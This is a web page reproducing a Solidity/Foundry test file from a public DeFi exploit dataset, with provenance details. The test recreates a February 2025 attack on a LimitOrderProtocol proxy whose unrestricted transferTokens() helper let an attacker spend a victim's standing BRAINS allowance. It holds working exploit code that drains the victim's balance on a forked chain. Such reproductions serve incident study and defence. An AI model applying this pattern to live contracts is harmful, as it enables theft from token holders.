Public reproduction file
src/test/2025-02/LimitOrderProtocol_exp.sol
Public reproduction file for dataset entry LimitOrderProtocol.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 2,800,000 BRAINS8// Attacker : 0xc2B2197ca4B2eE3b4EB61Fc59E6D592d04a2e26A9// Attack Contract : 0xfeCC81Ad11E2362CDb6C3df16FF49682fF229dE710// Vulnerable Contract : 0xCe8D7Cd4DdB3Fd50bAae0Cc59DBfd786a7f0e44e11// Attack Tx : https://basescan.org/tx/0xf16c30f57d6f47d68fe8ee6ed1986ed9c0d837b00750daef9c742c395b55d56412//13// @Info14// Vulnerable Contract Code : https://basescan.org/address/0xce8d7cd4ddb3fd50baae0cc59dbfd786a7f0e44e#code15// Proxy Contract Code : https://basescan.org/address/0xb5486f71c902fe0844bb07221fa8f47834d90b1b#code16//17// @Analysis18// Twitter Guy : https://t.me/defimon_alerts/44719//20// The LimitOrderProtocol proxy pointed to an implementation with an unrestricted21// transferTokens() helper. The attacker used the victim's existing BRAINS allowance to22// move the victim's full BRAINS balance to the attacker.24address constant ATTACKER = 0xc2B2197ca4B2eE3b4EB61Fc59E6D592d04a2e26A;25address constant ATTACK_CONTRACT = 0xfeCC81Ad11E2362CDb6C3df16FF49682fF229dE7;26address constant LIMIT_ORDER_PROXY = 0xb5486f71C902fe0844Bb07221Fa8f47834d90B1b;27address constant VULNERABLE_IMPLEMENTATION = 0xCe8D7Cd4DdB3Fd50bAae0Cc59DBfd786a7f0e44e;28address constant VICTIM = 0xcaF77DeCE27195CEB627feb5b588109b91ae6579;29address constant BRAINS_TOKEN = 0xF25B7DD973e30Dcf219fbED7bD336b9ab5A05DD9;31interface ILimitOrderProtocol {32 function transferTokens(address token, address from, address to, uint256 amount) external;33}35contract ContractTest is BaseTestWithBalanceLog {36 ILimitOrderProtocol private constant limitOrderProxy = ILimitOrderProtocol(LIMIT_ORDER_PROXY);37 IERC20 private constant brains = IERC20(BRAINS_TOKEN);39 function setUp() public {40 uint256 forkBlock = 26_231_299;41 vm.createSelectFork("base", forkBlock);43 fundingToken = BRAINS_TOKEN;44 attacker = ATTACKER;45 vm.label(ATTACKER, "Attacker");46 vm.label(ATTACK_CONTRACT, "Attack Contract");47 vm.label(LIMIT_ORDER_PROXY, "LimitOrderProtocol Proxy");48 vm.label(VULNERABLE_IMPLEMENTATION, "Vulnerable Implementation");49 vm.label(VICTIM, "Victim");50 vm.label(BRAINS_TOKEN, "BRAINS");51 }53 function testExploit() public balanceLog {54 uint256 victimBalance = brains.balanceOf(VICTIM);55 uint256 attackerBalanceBefore = brains.balanceOf(ATTACKER);56 uint256 allowanceBefore = brains.allowance(VICTIM, LIMIT_ORDER_PROXY);58 assertEq(victimBalance, 2_800_000 ether);59 assertEq(attackerBalanceBefore, 0);60 assertGe(allowanceBefore, victimBalance);62 // step 1: use the unrestricted helper to spend the victim's existing proxy allowance.63 vm.prank(ATTACKER);64 limitOrderProxy.transferTokens(BRAINS_TOKEN, VICTIM, ATTACKER, victimBalance);66 // step 2: prove the same asset movement shown by the attack receipt.67 assertEq(brains.balanceOf(VICTIM), 0);68 assertEq(brains.balanceOf(ATTACKER) - attackerBalanceBefore, victimBalance);69 }70}Analysis
Dataset entry
Public Foundry test for “LimitOrderProtocol” (2025-02-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
15 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-02/Bybit_exp.solSame month in the dataset · 308 lines
- src/test/2025-02/FourMeme_exp.solSame month in the dataset · 245 lines
- src/test/2025-02/GMT7_exp.solSame month in the dataset · 86 lines
- src/test/2025-02/GoldReserve_exp.solSame month in the dataset · 136 lines
- src/test/2025-02/HegicOptions_exp.solSame month in the dataset · 70 lines
- src/test/2025-02/HenloKart_exp.solSame month in the dataset · 80 lines
- src/test/2025-02/INVISTECH_exp.solSame month in the dataset · 137 lines
- src/test/2025-02/PeapodsFinance_exp.solSame month in the dataset · 104 lines
- src/test/2025-02/Scorch_exp.solSame month in the dataset · 115 lines
- src/test/2025-02/StepHeroNFTs_exp.solSame month in the dataset · 111 lines
- src/test/2025-02/unverified_35bc_exp.solSame month in the dataset · 91 lines
- src/test/2025-02/unverified_d4f1_exp.solSame month in the dataset · 57 lines
- src/test/2025-02/Venus_ZKSync_exp.solSame month in the dataset · 221 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xc2b2197ca4b2ee3b4eb61fc59e6d592d04a2e26a
- Attack Contract
0xfecc81ad11e2362cdb6c3df16ff49682ff229de7
- Vulnerable Contract
0xce8d7cd4ddb3fd50baae0cc59dbfd786a7f0e44e
- Attack Tx
0xf16c30f57d6f47d68fe8ee6ed1986ed9c0d837b00750daef9c742c395b55d564
File record
- Name
- LimitOrderProtocol
- Path
- src/test/2025-02/LimitOrderProtocol_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- c4847b95da66ff21f776aea9317ffb65bd6339a3
- Language
- Solidity
- Size
- 71 lines
- Date
- 2025-02-11
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-02/LimitOrderProtocol_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob c4847b95da66ff21f776aea9317ffb65bd6339a3, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.